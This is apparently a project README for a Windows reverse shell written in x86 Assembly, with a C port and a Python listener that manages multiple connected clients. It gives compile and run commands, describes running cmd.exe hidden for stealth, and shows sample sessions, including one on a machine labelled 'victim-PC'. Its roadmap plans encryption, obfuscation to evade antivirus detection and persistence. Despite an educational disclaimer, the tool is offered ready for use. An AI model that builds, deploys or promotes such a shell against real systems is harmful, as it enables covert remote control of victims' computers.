A pure x86 Assembly reverse shell for Windows that connects to a remote listener for command execution. Uses Winsock, Windows Job Objects for process management, and redirects stdin, stdout, stderr to the socket for full interactive control. Includes a C equivalent and a Python listener for testing.
- Pure Assembly β No dependencies, fully written in x86 Assembly.
- Reverse Shell β Connects back to a remote listener.
- Interactive Shell β Redirects input, output, and error streams to the socket.
- Job Object Protection β Ensures cmd.exeis terminated if the connection drops.
- Minimal Footprint β Small, fast, and runs without extra libraries.
- C Equivalent β 1:1 C code provided for reference.
- Python Listener β Basic C2-like listener included for testing.
- Batch Compilation β Pre-made .batfile for quick assembly and linking.
/x86-Assembly-ReverseShell
βββ reverse_shell.asm  # Main Assembly reverse shell
βββ reverse_shell.c    # 1:1 C equivalent source code
βββ requirements.txt   # Listener dependencies
βββ compile.bat        # Windows batch script to compile & link automatically
βββ listener.py        # Python-based listener (C2-like functionality)
βββ listener_linux.py  # Python-based listener for linux
βββ README.md          # Project documentation
- Creates a TCP connection to 127.0.0.1:4444(hardcoded in Assembly).- To change the IP/Port, manually modify the sockaddr_instructure inreverse_shell.asm.
 
- To change the IP/Port, manually modify the 
- Redirects stdin, stdout, stderr of cmd.exeto the socket.
- Runs cmd.exein hidden mode for stealth execution.
- Uses a Windows Job Object (JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE) to ensure process cleanup.
- Communicates with the listener (listener.py) for remote command execution.
Ensure Python 3.x is installed.
To check, run:
python3 --versionor on Windows:
python --versionlistener.py requires colorama for colored output and pyreadline3 (Windows only).
To install dependencies, run:
pip install -r requirements.txtIf you're on Windows, also install:
pip install pyreadline3python3 listener.pyBy default, it listens on 0.0.0.0:4444, allowing connections from any IP.
You can customize the listener IP & port:
python3 listener.py --ip 192.168.1.100 --port 8080Once a reverse shell connects, you'll see:
[2025-02-23 16:30:20] New connection from 192.168.1.10:50234Simply type commands:
Shell> whoami
admin-PC\admin
Shell> dir
 Volume in drive C has no label.
 Directory of C:\Users\adminUse clients to see active sessions:
SHELL> clients
--------------------------------------------------
  [0] 192.168.1.10:50234 - ACTIVE
  [1] 192.168.1.12:50240 - IDLE
--------------------------------------------------Select a client by ID:
SHELL> switch 1
[2025-02-23 16:31:10] Switched to client 192.168.1.12:50240
Client 1> whoami
victim-PC\user| Command | Description | 
|---|---|
| clients | Show connected clients | 
| switch <id> | Switch to a specific client | 
| sessions | List saved sessions | 
| id | Show the current client ID | 
| info | Show current client system info | 
| clear | Clear the terminal | 
| help | Show this help menu | 
| exit | Close the current session | 
A Windows batch script (compile.bat) is included for automatic assembly and linking.
β οΈ Important:
The script requires the Microsoft Developer Command Prompt because it useslink.exe.
If you donβt have it, you need to install Visual Studio with the MSVC toolchain.
- Open Start Menu and search for:
- Developer Command Prompt for VS (preferred)
- Or x64 Native Tools Command Prompt
 
- Navigate to the project folder:
cd C:\path\to\x86-Assembly-ReverseShell
- Run the compiler script:
compile.bat 
nasm -f win32 reverse_shell.asm -o reverse_shell.obj
link /entry:Start /subsystem:console reverse_shell.obj kernel32.lib ws2_32.libπ΄ If
linkis not found, use the Developer Command Prompt as explained above.
nasm -f win32 reverse_shell.asm -o reverse_shell.o
ld -o reverse_shell.exe reverse_shell.o -lkernel32 -lws2_32π’ This method works without
link.exe, usingmingw-w64instead.
After compiling, execute:
reverse_shell.exeEnsure the listener (listener.py) is running before executing the shell.
β οΈ Disclaimer:
This project is for educational and research purposes only.
Unauthorized use on live systems is illegal. Always test in controlled environments (VMs, labs, or CTFs).
- Encrypt communication (e.g., XOR, AES).
- Obfuscate Assembly code to evade signature-based detection.
- Implement persistence mechanisms for maintaining access.
- Add support for additional platforms (Linux/macOS).
DM ceptronn on Discord for any questions!